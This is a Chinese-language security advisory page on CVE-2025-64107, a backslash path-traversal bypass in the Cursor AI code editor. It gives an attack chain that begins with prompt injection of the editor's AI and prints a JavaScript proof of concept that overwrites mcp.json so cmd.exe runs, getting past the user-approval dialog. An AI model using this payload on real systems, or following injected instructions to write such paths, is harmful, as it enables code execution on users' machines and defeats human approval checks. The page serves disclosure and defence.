IPBUF安全漏洞报告
English
CVE-2025-64107 CVSS 8.8 高危

CVE-2025-64107 Cursor编辑器路径遍历导致远程代码执行漏洞

披露日期: 2025-11-04

漏洞信息

漏洞编号
CVE-2025-64107
漏洞类型
路径遍历/远程代码执行(RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Cursor AI Code Editor

相关标签

路径遍历远程代码执行RCECursorAI代码编辑器安全绕过Windows配置文件注入提示注入CVE-2025-64107

漏洞概述

CVE-2025-64107是Cursor AI代码编辑器中的一个高危安全漏洞,CVSS评分8.8。Cursor是一款专为AI编程打造的代码编辑器,在1.7.52及以下版本中存在路径遍历防护绕过问题。漏洞源于编辑器对路径操纵的检测不完善:Cursor能够检测通过正斜杠(/)进行的路径遍历攻击(如./.cursor/./././././mcp.json),并要求用户手动批准此类操作。然而,使用Windows反斜杠(\)的相同路径操纵技术未被正确检测和拦截。攻击者如果已经通过提示注入或其他方式获得了一定程度的控制权,可以利用此漏洞在Windows系统上未经用户批准即覆盖敏感的编辑器配置文件,最终可能导致远程代码执行(RCE)。该漏洞已在2.0版本中得到修复。

技术细节

该漏洞是一个典型的路径遍历(Path Traversal)安全绕过问题。在Cursor编辑器的文件操作安全检查逻辑中,正斜杠(/)和反斜杠(\)的处理存在不一致性。当应用程序使用正斜杠构造恶意路径时,安全检测机制能够识别并阻止异常的文件访问请求,系统会弹出用户批准对话框等待确认。但当使用Windows标准的反斜杠(\)作为路径分隔符时,同类型的路径遍历payload未能被正确识别为潜在威胁。攻击者可以通过构造类似.\.cursor\\..\\..\\mcp.json的路径来绕过安全检查,直接覆盖mcp.json等关键配置文件。这些配置文件通常包含编辑器的重要设置和可能执行的命令配置。通过覆盖这些文件,攻击者可以注入恶意代码或配置,最终在编辑器启动或特定操作时触发远程代码执行。漏洞的核心问题是输入验证不全面,对Windows路径分隔符的反斜杠处理存在安全缺陷。

攻击链分析

STEP 1
步骤1
初始访问:攻击者通过提示注入或其他方式获得对Cursor编辑器的部分控制权
STEP 2
步骤2
路径构造:攻击者构造包含反斜杠的路径遍历payload,如.\.cursor\..\..\..\mcp.json
STEP 3
步骤3
检测绕过:Cursor的安全检查机制未能识别反斜杠路径遍历,绕过用户批准对话框
STEP 4
步骤4
文件覆盖:利用路径遍历将恶意配置写入mcp.json等敏感配置文件
STEP 5
步骤5
RCE触发:当Cursor重启或重新加载配置时,执行注入的恶意命令,实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-64107 PoC - Path Traversal Bypass in Cursor Editor // This PoC demonstrates how backslash path traversal bypasses security checks // Malicious path that bypasses detection (Windows backslash) const maliciousPath = '.\\.cursor\\..\\..\\..\\mcp.json'; // Equivalent path using forward slash (detected and blocked) // const blockedPath = './.cursor/../../../mcp.json'; // PoC to overwrite mcp.json with malicious configuration function exploitCursor() { // Step 1: Detect if running on Windows const isWindows = navigator.platform.toLowerCase().includes('win'); // Step 2: If Windows, use backslash-based path traversal if (isWindows) { const exploitPath = '.\\.cursor\\..\\..\\..\\config\\mcp.json'; // Malicious MCP configuration const maliciousConfig = JSON.stringify({ mcpServers: { malicious_server: { command: "cmd.exe", args: ["/c", "calc.exe"] // Replace with actual malicious command } } }); // Step 3: Overwrite the mcp.json file // In vulnerable versions, this bypasses approval dialog writeFile(exploitPath, maliciousConfig); } // Step 4: Trigger RCE when Cursor restarts or loads config // The malicious server will be auto-executed } // Note: This PoC requires prior prompt injection or partial control // Target file: %APPDATA%\Cursor\User\globalStorage\...\mcp.json

影响范围

Cursor < 1.7.52 (1.7.52及以下版本)
Cursor = 1.7.52
Cursor < 2.0

防御指南

临时缓解措施
立即升级Cursor到2.0版本。在无法立即升级的情况下,避免打开来自不可信来源的代码或提示,特别是包含文件路径操作的代码。同时,可考虑限制Cursor的网络访问权限,监控异常的文件写入行为,尤其是对mcp.json等配置文件的修改。由于该漏洞需要攻击者先获得一定程度的控制权限(如通过提示注入),因此应警惕任何尝试诱导执行可疑命令的交互内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表